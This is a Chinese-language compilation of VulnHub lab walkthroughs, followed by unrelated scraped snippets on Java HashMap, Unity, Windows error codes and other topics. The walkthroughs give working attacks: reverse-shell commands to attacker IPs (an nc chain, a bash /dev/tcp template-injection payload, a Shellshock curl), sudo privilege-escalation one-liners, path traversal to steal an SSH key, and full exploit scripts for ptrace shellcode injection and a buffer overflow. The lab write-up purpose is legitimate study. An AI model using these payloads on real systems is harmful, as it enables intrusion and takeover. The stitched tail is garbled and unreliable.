点击标题即可进入对应靶机下载地址
cat /proc/1/cgroup查看初始进程id号发现有docker证明一定处于docker容器内部)for i in $(seq 1 10); do ping -c 1 172.17.0.$i;done 扫描内网存活ipps:中等难度,因为处于docker容器内而需要注意对于内网的信息收集和探测
(vnware中该靶机获取不到ip,需要修改配置文件中的网卡)
ps:nc 192.168.29.128 4444 | /bin/bash | nc 192.168.29.128 7777(nc的串联,适用于nc没有-e参数的场景),简单难度
(该靶机vnware无法启动,用作者推荐的virtualbox)
data '+Today is %A, %B %d, %Y %H:%M:%S.'可以直接执行)sudo -l发现有可以无需密码执行的npm和node命令,利用node命令进行sudo提权sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})',获得root权限进入/root目录查看第二枚flag,root.txtps:中等难度,难在找到第二个只在本地上运行的服务漏洞,推荐一个工具网站https://gchq.github.io/CyberChef,主要是magic模块自动解密比较方便
/wp-admin,用默认用户名admin进行密码爆破,得到密码adam14/wordpress/wp-content/plugins/shell.php,获取反弹shell/home/wpadmin/local.txt获得第一枚flagsudo -l发现可以root权限运行mysql,sudo mysql -u root -D wordpress -p进入mysql,正常情况下也可以查看wp-config.php文件里面有数据库账号和密码,然后在mysql中运行system /bin/bash即可获取mysql的shell权限也就是root权限,提权成功,查看/root/proof.txt获取第二枚flagps:中等难度
python -c "import struct; print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payloadcat payload - > ./add_recordps:该靶机本来属于高难度靶机,但是因为有CVE-2021-3493的原因可以使提权变得简单,而本来的提权方式正好就是这台靶机的难点,有大量的逆向汇编代码动态调试分析过程,这里就没有细细写明了
ssh mowree@192.168.29.128 -v从返回的信息中发现Authentications that can continue: publickey,password,意思是允许公钥或密码的方式登录?command=../../../../../../../home/mowree/.ssh/authorized_keys,发现存在公钥,信息中说明了允许登录的用户就是mowree,于是?command=../../../../../../../home/mowree/.ssh/id_rsa获取私钥(查看源码并copy以保证私钥格式不乱),私钥本地保存,登录时发现私钥还有一道密码openssl passwd -1加密一个123,把加密内容直接替换/etc/passwd下的root用户密码位,su后在/root/root.txt获得第二枚flagps:中等难度,其中有大量的需要爆破的环节,推荐seclists字典,可以github下载或apt install seclists
dig axfr @192.168.29.136 blackhat.local 对DNS信息收集,获得了SOA记录的另一个子域名hackerkid.blackhat.local,同样作ip-域名映射后访问域名发现是一个注册页面php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc,查看内容发现一串密码Saket!#$%@!!,结合9999端口是一个登录页面,用该密码可以直接登陆,但是用户名还是saket并不是admin%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.29.128/4444%200%3E%261%22%27%29%7D%7Dgetcap -r / 2>/dev/null发现python2.7被赋予的cap_sys_ptrace,可以调试挂接到系统已存在进程的特殊权限,利用该权限和网上搜寻的python进程注入脚本注入到一个root账号的进程中(先ps -aef | grep root选择一个root进程,python2.7 inject.py 端口实现注入,查看5600端口是否有服务启动,有的话代表成功,直接nc连接5600端口即可),即可获得root权限、ps:中等难度,进程注入脚本inject.py:
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
sudo -s提权为root,进入/root拿到第二个flagps:难度属于十分简单
/site/war.txt,进入又得到/war-is-over路径,访问得到一串编码sudo python3 /usr/local/bin/rpyc_classic.py这条命令sudo -s提权成功,在/root拿到flagps:难度中等,附exp.py:
import rpyc
def shell():
import os
os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 10.0.2.7扫描curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 10.0.2.4 4444'" http://10.0.2.7/cgi-bin/shell.sh 获取反弹shellsudo -u thor /home/thor/./hammer.sh,测试输入两条信息后发现第二条输入的信息会被当做命令执行,所以第二个信息输入点输入/bin/bash成功获取到thor权限sudo service ../../bin/bash (GTFObins提权,https://gtfobins.github.io/# 搜索service),成功获取root权限un=or 1=1#&ps=\可以成功登录进入后台发现的其他漏洞:
root:roottoor的账号密码,利用该密码直接ssh登录rootps:偏简单难度的靶机,有很多的漏洞可以利用,可能除了上述还有很多可以挖掘
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.130 LPORT=4444 -b "\x00" -f py,编写exp.py拼接payload,连接靶机9898端口,发送payload,获得反弹shell,目录下获得harry的ssh登录密码HarrYp0tter@Hogwarts123,登录靶机2222端口sudo -l发现可以sudo直接提权,sudo -s成为root在在/root目录获得一枚flag和提示信息,提示要分析ftp流量tcpdump -i eth0 port 21,等2分钟在流量包中发现的ftp登录的信息,获得明文登录账号密码neville:bL!Bsg3k,用该账号登录靶机22端口后,正式获取到靶机的shell,获得第二枚flagps:高难度靶机,和web基本没什么关系(当然80端口也是放了张图片的),难在利用缓存区溢出漏洞和怎么提权,附缓存区漏洞利用代码exp.py:
#!/usr/bin/python
import sys,socket
buf = b""
buf += b"\xdb\xc3\xba\x05\xe2\xcb\xee\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x12\x31\x56\x17\x83\xc6\x04\x03\x53\xf1\x29"
buf += b"\x1b\x6a\x2e\x5a\x07\xdf\x93\xf6\xa2\xdd\x9a\x18\x82"
buf += b"\x87\x51\x5a\x70\x1e\xda\x64\xba\x20\x53\xe2\xbd\x48"
buf += b"\xa4\xbc\x3f\x0a\x4c\xbf\x3f\x1b\xd1\x36\xde\xab\x8f"
buf += b"\x18\x70\x98\xfc\x9a\xfb\xff\xce\x1d\xa9\x97\xbe\x32"
buf += b"\x3d\x0f\x57\x62\xee\xad\xce\xf5\x13\x63\x42\x8f\x35"
buf += b"\x33\x6f\x42\x35"
payload = 'A'*112 + '\x55\x9d\x04\x08' + '\x90'*32 + buf
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.1.135',9898)
s.send(payload)
s.close()
except:
print("wrong!")
sys.exit()
/php/webapps/50175.py)直接获取一个反弹shell./su_cp /home/snape/id_rsa.pub /home/hermoine/.ssh,copy公钥到.ssh文件中,然后改名authorized_keys,本机直接ssh登录hermoine用户ps:中高难度
firefox_decrypt:https://github.com/unode/firefox_decrypt,
Gopherus:https://github.com/tarunkant/Gopherus
lsb_release -a查看发现是ubuntu18.04版本,尝试使用之前打把使用过的CVE-2021-3493,发现可以成功提权到root,在root目录获得第二个flag靶机发布时没有这个CVE,原解法如下:
find / -user cubes -type f -exec ls -la {} \; 2>/dev/null,找到属主为cubes的文件并列出当前用户对该文件的权限,为了找到当前用户可读但属于cubes的文件,发现了/mnt/secret.file文件,打开获得cubes用户的密码 Il00tpeopleps:难度,低
HashMap中为什么引入红黑树,而不是AVL树呢1.概述开始学习这个知识点之前我们需要知道,在JDK1.8以及之前,针对HashMap有什么不同。JDK1.7的时候,HashMap的底层实现是数组+链表JDK1.8的时候,HashMap的底层实现是数组+链表+红黑树我们要思考一个问题,为什么要从链表转为红黑树呢。首先先让我们了解下链表有什么不好???2.链表上述的截图其实就是链表的结构,我们来看下链表的增删改查的时间复杂度增:因为链表不是线性结构,所以每次添加的时候,只需要移动一个节点,所以可以理解为复杂度是N(1)删:算法时间复杂度跟增保持一致查:既然是非线性结构,所以查询某一个节点的时候
我正在使用RABL输出Sunspot/SOLR结果集,搜索结果对象由多种模型类型组成。目前在rablView中我有:objectfalsechild@search.results=>:resultsdoattribute:id,:resource,:upccodeattribute:display_description=>:descriptioncode:start_datedo|r|r.utc_start_date.to_iendcode:end_datedo|r|r.utc_end_date.to_iendendchild@search=>:statsdoattribute:to
电脑蓝屏代码大全及解决办法合集代码 含意00x00000000作业完成。10x00000001不正确的函数。20x00000002系统找不到指定的档案。30x00000003系统找不到指定的路径。40x00000004系统无法开启档案。50x00000005拒绝存取。60x00000006无效的代码。70x00000007储存体控制区块已毁。80x00000008储存体空间不足,无法处理这个指令。90x00000009储存体控制区块地址无效。100x0000000A环境不正确。110x0000000B尝试加载一个格式错误的程序。120x0000000C存取码错误。130x000
CompHub 实时聚合多平台的数据类(Kaggle、天池…)和OJ类(Leetcode、牛客…)比赛。本账号同时会推送最新的比赛消息,欢迎关注!更多比赛信息见 CompHub主页 或点击文末阅读原文以下信息仅供参考,以比赛官网为准目录创新应用赛(6场比赛)程序设计赛(14场比赛)创新应用赛(6场比赛)数字医疗算法应用创新大赛——生物共融与数字疗法应用赛道🖥和鲸(Heywhale)·📅2023.02.17-2023.04.30👤90+支队伍·💰¥194,000+名企实习机会+生态合作伙伴和鲸社区-Heywhale.com第十八届“挑战杯”全国大学生课外学术科技作品竞赛“揭榜挂帅”专项赛·华为云
目录前言1、StopCoroutine并不能停止协程2、GetComponentsInChildren如何获取隐藏物体3、导入的模型无法编辑材质球属性4、 MeshRender更换材质球方法5、两个模型动画不同步/播完后有延迟前言这里会整理一些日常碰见的小问题,持续更新~1、StopCoroutine并不能停止协程StopCoroutine(ie());该代码并不能停止协程ie(),因为相当于重新调用了一遍ie()。能正常停止的开始/停止方式://方法一:直接引用名字StartCoroutine("ie");//开始协程StopCoroutine("ie");//停止协程//方法
GainPower识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/Gainpower]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts3CapturedARPReq/Reppackets,from3hosts.Totalsize:180_____________________________________________________________________________IPAtMACAddressCountLenM
首先,恭喜你发现了宝藏。本文章集成了2023全网优秀的开源攻防武器项目,包含:信息收集工具(自动化利用工具、资产发现工具、目录扫描工具、子域名收集工具、指纹识别工具、端口扫描工具、各种插件....etc...)漏洞利用工具(各大CMS利用工具、中间件利用工具等项目........)内网渗透工具(隧道代理、密码提取.....)应急响应工具甲方运维工具等其他安全攻防资料整理,供攻防双方使用。重点提醒:本项目工具来源于互联网,是否含带木马及后门请自行甄别!!Hvv来即,请大家提高警惕!!!受限于篇幅原因,无法全部展示,如果你需要的话,可以评论区告诉我! 1、半/全自动化利用工具项目简介项目地址项目名
❤️觉得内容不错的话,欢迎点赞收藏加关注😊😊😊,后续会继续输入更多优质内容❤️👉有问题欢迎大家加关注私戳或者评论(包括但不限于NLP算法相关,linux学习相关,读研读博相关......)👈GPT-X:GPT类模型介绍(附相关论文和github项目)1.GPT介绍GPT(GenerativePre-trainedTransformer)是一类基于Transformer架构的预训练语言模型。这一类模型采用自回归的方式进行训练,通过大规模的语料库预训练来学习语言的概率分布,从而能够用于各种自然语言处理任务。2.GPT类模型介绍(1)GPT-1GPT-1是由OpenAI于2018年推出的第一代GPT
HCIE是华为认证系统中的专家级认证。候选人必须通过笔试,LAB考试和面试,才能最终获得HCIE认证。困难还从另一方面解释了证书的含金量。该认证具有很高的含金量和行业认可度。此外,获得HCIE证书的工程师将优先获得华为和华为合作伙伴的聘用,华为认证,考试难度很大。下载点击下方链接:https://download.csdn.net/download/unbelievevc/87326718https://download.csdn.net/download/unbelievevc/8732671800企业网络设计概述&产品介绍01华为路由交换精英培训之RIPfinal02华为路由交换精英培训之
简介:阿里云研究院,甄选了2021-2022年度的10份重磅报告,分别从数字经济、行业转型、数字县域等领域,尝试解读、并推动各行各业的转型升级,展望中国数字经济的未来,迎接数字经济发展的春天。导语我们正处在复杂的历史节点中,气候变化加剧、地缘政治动荡、局部战争冲突持续不断,尤其无情的新冠疫情长时间席卷全球,在很多国家尚未得到有效控制,全球感染人数超过5亿,几乎所有的国家和地区都受到深度影响。在全球经济一片萧条之中,数字经济展现出独特的魅力,数字化转型也成为各行各业的共识。疫情在某种程度上加速了全球产业数字化转型的步伐,数据成为了主要生产要素,也是数字时代的核心基础资源。基于数据资源,传统产业的